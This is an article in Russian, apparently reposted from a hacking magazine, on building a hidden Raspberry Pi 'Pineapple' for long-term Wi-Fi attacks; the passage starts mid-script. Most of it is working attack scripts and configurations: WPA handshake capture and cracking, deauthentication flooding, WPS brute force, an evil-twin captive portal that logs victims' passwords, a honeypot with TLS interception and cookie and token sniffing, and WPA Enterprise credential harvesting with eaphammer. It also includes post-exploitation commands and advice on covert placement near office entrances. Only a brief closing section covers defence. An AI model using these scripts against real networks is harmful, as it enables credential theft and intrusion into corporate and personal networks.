screen -dmS wpapsk -t wps -L -Logfile "$time-wps-%n.log" ./wps.sh "Target Wi-Fi"
cd -
elif jmp 10; then
echo "[*] roqueap/eviltwin attack (static)"
#monitor_enable
cd eviltwin
ifconfig wlan0 10.0.0.1/24
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
screen -dmS eviltwin -t hostapd -L -Logfile "$time-eviltwin-%n.log" ./hostapd.sh "Corp Wi-Fi" ""
screen -r eviltwin -t dnsmasq -X screen ./dnsmasq.sh
screen -r eviltwin -t captive -X screen ./captive.sh www/
#screen -r eviltwin -t deauth -X screen ./deauth.sh -c 1,6,11
cd -
elif jmp 23; then
echo "[*] roqueap/honeypot (static)"
cd honeypot
ifconfig wlan0 10.0.0.1/24
screen -dmS honeypot -t hostapd -L -Logfile "$time-honeypot-%n.log" ./hostapd.sh "Free Wi-Fi" ""
screen -r honeypot -t dnsmasq -X screen ./dnsmasq.sh
screen -r honeypot -t attack -X screen ./attack.sh
cd -
elif jmp 25; then
echo "[*] roqueap/eap (static)"
cd eap
screen -dmS eap -t hostapd-eaphammer -L -Logfile "$time-eap-%n.log" ./hostapd-eaphammer.sh "Target Wi-Fi"
#screen -r eap -t deauth -X screen ./deauth.sh -c 1,6,11
cd -
cd -
/etc/rc.local
Код:
/bin/bash /home/pi/startup.sh &
АТАКИ НА WI-FI
При описании атак на Wi-Fi, да и радиоатак вообще, стоит сразу сделать оговорку, какие атаки целесообразны в исполнении Pineapple. Pineapple не единственный девайс, способный атаковать по радиоканалу, и часть атак я сознательно не рассматриваю в этой статье, так как некоторые из них разумнее проводить, например, с телефона.Разнообразных атак на Wi-Fi предостаточно, и в этой статье описаны лишь те атаки, которые требуют длительного участия атакующего. Форм‑фактор атакующего устройства идеально подходит для скрытого длительного размещения вблизи атакуемых объектов — точек доступа, их пользователей и самих клиентских устройств, IP-камер и прочих. А светодиоды информируют о статусе атаки без подключения к плате. Так можно понять, выполнил ли Pineapple свою работу, или злоумышленнику стоит вернуться за ним позже.
Теперь рассмотрим каждую из основных атак на Wi-Fi, которые тезисно описаны выше:
- WPA Handshake/bruteforce (атака на аутентификацию точки доступа);
- WPS (атака на аутентификацию точки доступа);
- Evil Twin (атака на действия пользователей);
- EAP Attack (атака на аутентификацию клиентских устройств);
- Honeypot (атака на ОС клиентских устройств).
Захват хендшейка WPA
Захват WPA Handshake — одна из самых популярных и широко применяемых атак. WPA Handshake передается клиентом во втором сообщении (EAPOL M2) четырехступенчатого рукопожатия.Содержимое этого пакета служит доказательством для точки доступа, что клиент знает общий ключ PSK. Злоумышленник же, перехватив такой хеш, может подобрать пароль перебором по словарю. Для захвата хеша атакующему необязательно совершать активные действия. Поскольку в его распоряжении есть техническое средство, способное долго и незаметно находиться в зоне действия целевых беспроводных сетей, он может просто пассивно ждать передачи handshake, ведь такая атака абсолютно «бесшумна».
wpapsk/monitor.sh
Bash:
#!/bin/bash
dumpfile=out-$(date +'%H:%M:%S_%d.%m.%Y')
screen -dmS airodump airodump-ng mon0 -w $dumpfile $*
while sleep 10:
do
hcxpcapngtool "${dumpfile}-01.cap" -o /tmp/eapol.txt --all
hcxhashtool -i /tmp/eapol.txt --authorized -o /tmp/eapol_valid.txt
hcxhash2cap --pmkid-eapol=/tmp/eapol_valid.txt -c /tmp/out-m1m2.pcap
if echo 0 | aircrack-ng "/tmp/out-m1m2.pcap" | grep 'handshake' | grep -q -v '0 handshake'; then
led yellow on 2> /dev/null
fi
rm -f /tmp/eapol.txt
rm -f /tmp/eapol_valid.txt
rm -f /tmp/out-m1m2.pcap
done
screen -XS airodump quit
Чтобы ускорить сбор handshake, можно подключить активную составляющую — рассылку пакетов деаутентификации. Она отправляет от имени клиента и точки доступа всем слышимым клиентам Wi-Fi-сетей специальные пакеты, закрывающие соединение (деаутентификация). Клиент, который на самом деле не собирался отключаться от точки доступа, выполнит повторное подключение, передав хеш пароля к этой сети.
wpapsk/deauth.sh
Bash:
#!/bin/bash
mdk4 mon0 d $* | while read line
do echo $line
led green on 2> /dev/null
sleep '0.1'
led green off 2> /dev/null
done
Деаутентификация имеет негативные побочные воздействия на атакуемую сеть — постоянно отключаются клиенты, поэтому запуск скрипта закомментирован в скрипте startup.sh и приведен как опциональный.
Во время охоты за handshake, опять же опционально, устройство может проверить принятые handshake самыми слабыми паролями по словарю. Перебирать больше 1000 вариантов не стоит, иначе быстро сядет аккумулятор. И если пароль подобран, загорается красный светодиод.
wpapsk/brute-wpapsk.sh
Bash:
#!/bin/bash
while sleep 60:
do
for pcap in *.cap
do echo $pcap
hcxpcapngtool "$pcap" -o /tmp/eapol.txt --all
hcxhashtool -i /tmp/eapol.txt --authorized -o /tmp/eapol_valid.txt
hcxhash2cap --pmkid-eapol=/tmp/eapol_valid.txt -c /tmp/out-m1m2.pcap
for bssid in $(echo 0 | aircrack-ng "/tmp/out-m1m2.pcap" | grep 'handshake' | grep -v '0 handshake' | awk '{print $2}')
do
if [ -f "/tmp/$bssid" ]; then
continue
fi
touch "/tmp/$bssid"
aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid" "/tmp/out-m1m2.pcap" -l "$bssid.txt"
if [ -s "$bssid.txt" ]; then
led red on 2> /dev/null
exit
fi
done
rm -f /tmp/eapol.txt
rm -f /tmp/eapol_valid.txt
rm -f /tmp/out-m1m2.pcap
done
done
Брутфорс WPS
Атака подбора PIN-кода WPS — еще один пример атаки на точку доступа Wi-Fi, требующей длительного времени. Беспроводных устройств с активным и подверженным перебору WPS достаточно много — от тех же беспроводных принтеров до корпоративных точек доступа. Если точка доступа не имеет некий дефолтный PIN либо неуязвима к Pixie Dust, позволяющему подобрать PIN-код за несколько попыток (секунд), полный перебор всего пространства PIN-кодов в худшем из сценариев для злоумышленника потребует 11 000 попыток. Хорошо, если каждая из попыток пройдет хотя бы за секунду. В результате в идеальном случае, если точка доступа его не заблокирует, на эту атаку может потребоваться несколько часов. Находиться возле атакуемой точки так долго с ноутбуком или телефоном неразумно, ведь процесс полностью автоматизирован и участие человека не требуется — нужен только Pineapple.wpapsk/wps.sh
Bash:
#!/bin/bash
function attacks(){
AP="$1"
sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv -K
sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv
}
if echo "$1" | grep -q -E '^\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2}$'; then # BSSID
attacks "$1"
else # ESSID
for AP in $(sudo wash -i mon0 -s | fgrep "$1" | awk '{print $1}')
do echo "$AP"
attacks "$AP"
done
fi
Evil Twin
Атака «злой двойник» (Evil Twin) — это имитация беспроводной сети, к которой уже есть доверие. И доверие в этом случае у пользователей. Evil Twin — беспроводная социальная атака, беспроводной фишинг, направленный именно на людей, а не на клиентские устройства.Так как не на все Wi-Fi-сети можно выполнить ранее описанные атаки и подобрать пароль злоумышленнику тоже удается далеко не всегда, можно спросить этот пароль у самих пользователей, которые часто оказываются самым слабым звеном периметра. В этом случае устройство Pineapple может работать как точка доступа Wi-Fi с тем же именем сети, что и атакуемая. С той лишь разницей, что сеть открытая. Атака полагается на доверие пользователя к подставной сети. Предполагается, что именно пользователь намеренно подключится к будто бы легальной беспроводной сети и введет пароль, который отправится прямо к злоумышленнику в открытом виде.
Чтобы повысить вероятность того, что кто‑то из пользователей подключится к подставной сети, устройство Pineapple точно так же, как и в прошлый раз, может отправлять пакеты деаутентификации, отключая всех клиентов от атакуемой беспроводной сети.
Для успешности атаки Evil Twin злоумышленнику требуется грамотно решить две задачи: запустить беспроводную сеть с именем, которое точно привлечет внимание людей, и, конечно же, устроить толковый претекстинг Captive-портала. В скрипте startup.sh прописаны компоненты, формирующие эту атаку. Первый компонент — это точка доступа. Скрипт запуска точки доступа выглядит следующим образом:
eviltwin/hostapd.sh
Bash:
#!/bin/bash
essid="$1"
password="$2"
if [ -z "$password" ]; then
config='hostapd-opn.conf'
else
config='hostapd-wpa.conf'
fi
cp $config /tmp/$config
sed -i "s/__ESSID__/$essid/g" /tmp/$config
sed -i "s/__PASS__/$password/g" /tmp/$config
hostapd /tmp/$config | while read line
do
if echo "$line" | fgrep -q 'AP-STA-CONNECTED'; then
led green on 2> /dev/null
elif echo "$line" | fgrep -q 'AP-STA-DISCONNECTED'; then
led green off 2> /dev/null
fi
done
Шаблон конфигурационного файла для открытой беспроводной сети выглядит так:
eviltwin/hostapd-opn.conf
Код:
interface=wlan0
driver=nl80211
ssid=__ESSID__
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
eviltwin/dnsmasq.sh
Bash:
#!/bin/bash
dnsmasq --conf-file=dnsmasq.conf -d | while read line
do
if echo "$line" | fgrep -q 'DHCPACK'; then
led yellow on 2> /dev/null
fi
done
eviltwin/dnsmasq.conf
Код:
domain=pineapple.local
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
local-ttl=30
address=/#/10.0.0.1
Чтобы мимо хакерского устройства не прошел ни один HTTP-запрос, с помощью iptables заворачивается весь веб‑трафик от клиентов на Pineapple на уровне сети:
Код:
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
eviltwin/captive.sh
Bash:
#!/bin/bash
php -S 10.0.0.1:80 captive.php $* | while read line
do echo $line
if echo "$line" | fgrep -q "password"; then
led red on
fi
done
eviltwin/captive.php
PHP:
<?php
$root = str_getcsv(file_get_contents('/proc/self/cmdline'), "\0")[4];
$script = str_replace('..', '', urldecode($_SERVER['SCRIPT_NAME'])); // safety
header('HTTP/1.1 200 OK');
header('Content-type: '); // disable Content-Type
if ( is_file($root . $script) )
echo file_get_contents($root . $script);
else
echo file_get_contents($root . "/index.html");
foreach($_POST as $par=>$val)
error_log( "\x1b[31m" . "$par: $val" . "\x1b[0m" );
?>
Captive.php — лишь миниатюрная обертка между запросами клиентов‑жертв и веб‑страниц, которые они видят. Сейчас веб‑страницы достаточно сложны, и верстать их с нуля не самое гениальное решение. Вместо этого можно сохранить любую веб‑страницу аутентификации браузером и скопировать все файлы в eviltwin/www/. Таким образом можно обрабатывать любые HTTP-запросы единым PHP-скриптом и во время атаки максимально абстрагироваться от кодинга.
Так как данные с веб‑форм почти всегда отправляются по HTTP методом POST, все подобные запросы будут сохранены. А если среди таких запросов есть параметр password, то captive.sh отреагирует на это красным светодиодом.
Введенные пользователем данные подсвечены красным цветом в терминале, чтобы можно было видеть статус и при удаленном подключении по 4G.
Весь вывод от всех скриптов также сохраняется на карте памяти Pineapple. Поскольку атака Evil Twin социальная, то под каждую конкретную ситуацию может потребоваться верстка своего варианта оформления страницы Captive-портала. Злоумышленник необязательно должен запрашивать пароль от конкретной точки доступа. Жертвам может быть предложена любая веб‑форма, хоть от соцсетей, хоть от любого другого сайта. Главное — убедить пользователя ввести туда те данные, которые злоумышленник нацелен получить. Да и необязательно имитировать легитимную сеть, важно ведь заинтересовать этой сетью пользователя, это может быть хоть «Free Wi-Fi».
Последний, но не обязательный штрих — отключение клиентов от легитимной сети (логическое глушение сигнала):
eviltwin/deauth.sh
Bash:
#!/bin/bash
mdk4 mon0 d -w <(getmac -i wlan0) $* | while read line
do echo "$line"
done
Атака Evil Twin именно социальная, то есть требует непосредственных действий пользователя. И социальная она, как правило, в двух смыслах.
Во‑первых, пользователь сам должен выбрать подставную сеть для подключения, поскольку клиентское устройство само не переподключится с закрытой сети на открытую, даже если имя подставной сети в точности соответствует легитимной. Лишь у старых ОС и на старых устройствах была такая неразборчивость, когда сеть могла автоматически смениться с WPA на OPN при наличии одинакового имени.
Во‑вторых, учетные данные за пользователя тоже никто не введет. Как только такой пользователь найдется, при открытии любой веб‑страницы ему навязчиво будет предложено ввести пароль, который принимается уже открытым текстом и сохраняется в устройстве Pineapple.
Атака Evil Twin может быть эффективна на режимных объектах со строгими правилами, где «изголодавшиеся по интернету» сотрудники готовы на многое, в том числе и ввести любые данные ради доступа к сети. Там злоумышленник, сыграв на слабостях человека, вполне может раздобыть и доменную учетку, и все на свете, с чем он потом удаленно зайдет в чью‑то почту или подключится по VPN во внутреннюю сеть.
Ханипот
Нечто похожее на Evil Twin может быть развито в другую атаку, но с прицелом уже на клиентские устройства, а не пользователей.В предыдущем разделе, когда к Pineapple подключается пользователь, его лишь скромно просят ввести конфиденциальные данные. Но можно поступить проще. Что, если компьютер пользователя уязвим или на вход в систему стоит слабый пароль? И что, если в комп в момент его подключения к «злой» беспроводной сети вставлен кабель, соединяющий с локальной сетью? Тогда путь проникновения может быть для злоумышленника еще более легким.
Сценарий нападения «Honeypot» использует те же самые механизмы запуска точки доступа hostapd.sh и раздачи IP-адресов dnsmasq.sh, что и у Evil Twin. Но далее сценарий развивается аналогично BadUSB-ETH. Сразу после старта беспроводной сети запускаются глобальные атакующие скрипты, а как только появляется клиент с IP-адресом, на него автоматически идет шквал таргетированных атак:
honeypot/attack.sh
Bash:
#!/bin/bash
HOME='/home/pi'
screen -dmS Xorg xinit -- /usr/bin/X :0 -br # optional for GUI attacking script
rm /tmp/honeypot_attacks.txt 2> /dev/null
for script in $(find on_network/ -type f -perm -u+x)
do
exec sudo $script wlan0 "" &
done
while sleep 1
do
arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on wlan0/\1/p' | while read ip
do
egrep -q "^$ip$" /tmp/honeypot_attacks.txt 2> /dev/null && continue || echo "$ip" >> /tmp/honeypot_attacks.txt
for script in $(find on_client/ -type f -perm -u+x)
do
exec $script $ip "" 10.0.0.1 &
done
done
done
honeypot/on_network/sslsplit.sh
Bash:
#!/bin/bash
echo '[*] SSL splitting'
[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 443) = '' ]] && {
iptables -t nat -A PREROUTING -i "$1" -p tcp --dport 443 -j REDIRECT --to-ports 1080
}
[[ $(pgrep /usr/bin/socat) = '' ]] && {
if [ ! -s /tmp/key.pem -o ! -s /tmp/cert.pem -o ! -s /tmp/cert_key.pem ]; then
openssl req -new -x509 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes -batch
cat /tmp/cert.pem /tmp/key.pem > /tmp/cert_key.pem
fi
#sslsplit -k /tmp/key.pem -c /tmp/cert.pem -l /tmp/con.log -L sslsplit.log -P autossl 0.0.0.0 1080 &
socat -v openssl-listen:1080,fork,cert=/tmp/cert_key.pem,cafile=/tmp/cert.pem,verify=0 open:sslsplit.log,creat,append 2> /dev/null &
}
tail -n 0 -f sslsplit.log | while read line
do
if echo "$line" | grep -ai -e cookie -e passw -e token --color=auto; then
led yellow on 2> /dev/null
fi
done
honeypot/on_network/http.sh
Bash:
#!/bin/bash
echo '[*] HTTP cleartext monitoring'
ngrep -d "$1" -i 'cookie|passw|token' 'port 80 or port 8080' 2>&1 > /tmp/ngrep.log &
tail -n 0 -f /tmp/ngrep.log | while read line
do
if echo "$line" | grep -v '^match:' | grep -ai -e cookie -e passw -e token --color=auto;
led yellow on 2> /dev/null
fi
done
honeypot/on_network/tcpdump.sh
Bash:
#!/bin/bash
echo '[*] writing trafic'
time=$(date +'%H:%M:%S_%d.%m.%Y')
tcpdump -i "$1" -nn -w "${time}.pcap"
Также персонально для каждого подключившегося клиента могут быть использованы реализованные в статье про BadUSB-ETH скрипты:
- on_client/ms17_010.sh;
- on_client/bruteforce/smb.sh;
- on_client/bruteforce/rdp.sh.
Атака EAP
Как я уже говорил, атака Evil Twin полностью социальная, с минимумом технических требований к атакуемым целям. Атака Honeypot (ханипот) — уже больше с прицелом на технические уязвимости клиентских устройств, а не на слабости пользователей, но все же требует от пользователя подключиться. EAP-атака полностью ориентирована на устройства.При EAP-атаке происходит почти то же самое, что и в Evil Twin, где имитируется легитимная точка доступа и атакуются ее клиенты, только атакуется именно само устройство клиента — железка, а не человек. Это сводит к нулю социальный фактор и не требует вообще никакого участия пользователя — что называется zero click. Атака получается на 100% надежной и быстрой, если подверженное этой атаке устройство есть.
Уязвимость кроется в том, что само устройство автоматически небезопасно передает учетные данные для подключения к сети WPA Enterprise.
Требуется запустить немного пропатченную версию hostapd-wpe, сохраняющую более подробные логи при получении учетных данных, а также предложить клиентскому устройству список методов аутентификации в обратном порядке — начиная с самого небезопасного. И если клиент согласится, пароль или хеш удастся перехватить:
eap/hostapd-eaphammer.sh
Bash:
#!/bin/bash
essid="$1"
cp /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd.conf /tmp/hostapd-eaphammer.conf
sed -i "s/interface=.*/interface=wlan0/g" /tmp/hostapd-eaphammer.conf
sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-eaphammer.conf
sudo /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd-eaphammer -x /tmp/hostapd-eaphammer.conf | while read line
do
if echo "$line" | fgrep -q 'AP-STA-CONNECTED'; then
led green on 2> /dev/null
elif echo "$line" | fgrep -q 'AP-STA-DISCONNECTED'; then
led green off 2> /dev/null
elif echo "$line" | fgrep -q 'STA'; then
led yellow on 2> /dev/null
elif echo "$line" | fgrep -q 'username:'; then
led red on 2> /dev/null
fi
done
Нужно обратить особое внимание, что при имитации легитимной точки доступа WPA Enterprise можно получить пароль в открытом виде! Это зависит от того, как легитимная беспроводная сеть запомнилась на клиентском устройстве. Если это GTC, то пароль можно получить открытым текстом, если MSCHAP — в виде хеша NetNTLMv1, пароль из которого можно восстановить за конечное время. А в качестве самих учетных записей в WPA Enterprise, как правило, используются доменные логин и пароль. Это значит, что, захватив такую учетку, злоумышленник либо тут же подключается по Wi-Fi и попадает сразу во внутреннюю сеть компании, причем уже с доменной учетной записью, либо заходит в него удаленно, например по VPN, при его наличии.
Это может показаться весьма странным, ведь при атаках на сети WPA PSK, которые есть практически в каждом доме, злоумышленник довольствовался бы лишь handshake, который надо еще брутить и брутить, порою весьма долго. А при атаках на WPA Enterprise он получает либо NetNTLMv1-хеш, который на порядки слабее того же PSK и за умеренное время может быть сведен до LM-хеша, либо пароль открытым текстом! Хотя WPA Enterprise считается стандартом для предприятий и, по идее, должен быть достаточно защищенным.
Эта уязвимость справедлива только для сетей WPA EAP (Enterprise), встречающихся в корпоративном сегменте, что делает ее весьма опасной, ведь она может стать точкой проникновения в компанию со всеми вытекающими последствиями.
Pineapple, заряженный такой атакой, может быть помещен как в зоне действия легитимных точек доступа, так и за их пределами на достаточно длительный срок, как продемонстрировано на следующем рисунке. Клиенты, которые и будут мишенями для атаки, подвижны и обычно в начале или конце рабочего дня часто выходят из зоны покрытия, где их может поджидать Pineapple.
Как правило, у каждой компании, открытой или режимной, всегда есть место, через которое помещение покидают все сотрудники, — главный вход. Это небольшая область, где за короткое время могут проходить сотни или тысячи людей и где уже нет приема корпоративной беспроводной сети. Именно эта область может быть зоной действия Pineapple. И сотрудники, еще не успевшие отключить Wi-Fi на устройствах, сами того не подозревая, автоматически скомпрометируют свои учетные записи и тем самым откроют двери во внутреннюю сеть компании. Злоумышленник, получивший туда доступ с доменной учетной записью, с большой долей вероятности сможет скомпрометировать всю внутреннюю инфраструктуру, причем достаточно быстро.
Постэксплуатация
Если подбор пароля или иная атака завершились успешно, злоумышленник вновь может использовать Pineapple уже для удаленного доступа к целевой Wi-Fi-сети через VPN, прокинутый по 4G. Pineapple берет на себя задачу физического линка с сетью и логической маршрутизации пакетов туда:
Код:
wpa_passphrase 'target_essid' 'password' > wifi.conf
wpa_supplicant -i wlan0 -c wifi.conf & dhclient wlan0
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Код:
route add -net 192.168.1.0/24 gw pineapple
nmap 192.168.1.0/24
Например, беспроводные принтеры, которых всегда предостаточно почти у любой организации, часто имеют не самые надежные пароли. Второй «ногой» такие принтеры, как правило, стоят уже в локальной сети.
Pineapple по VPN предоставит злоумышленнику удаленный сетевой доступ в скомпрометированную беспроводную сеть, где могут быть развиты уже последующие длительные атаки. И на этом участие Pineapple заканчивается. Дальше уже начинается фаза внутреннего проникновения. Но это уже совсем другая история…
КАК ЗАЩИТИТЬСЯ
Возможность совершить так много атак с использованием одного миниатюрного устройства заставляет задуматься о кардинальных мерах защиты, устраняющих «на корню» все перечисленные атаки.Устройство Pineapple хорошо демонстрирует главным образом незаметность атак. Ведь все описанные атаки уже давно можно проводить с обычного ноутбука. Но мало кто станет этим заниматься, сидя в сугробе возле окна под присмотром камеры.
Главное, что можно рекомендовать безопасникам, — это реализовать тщательный контроль за беспроводными сетями. В идеале их зона покрытия не должна выходить за пределы контролируемой зоны. Даже если беспроводные сети уязвимы, нужно сделать эти уязвимости исключительно внутренними, не давать их проэксплуатировать за пределами офиса. В таком случае у потенциального злоумышленника не будет даже физической возможности начать атаки, и это пресечет все угрозы.
Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru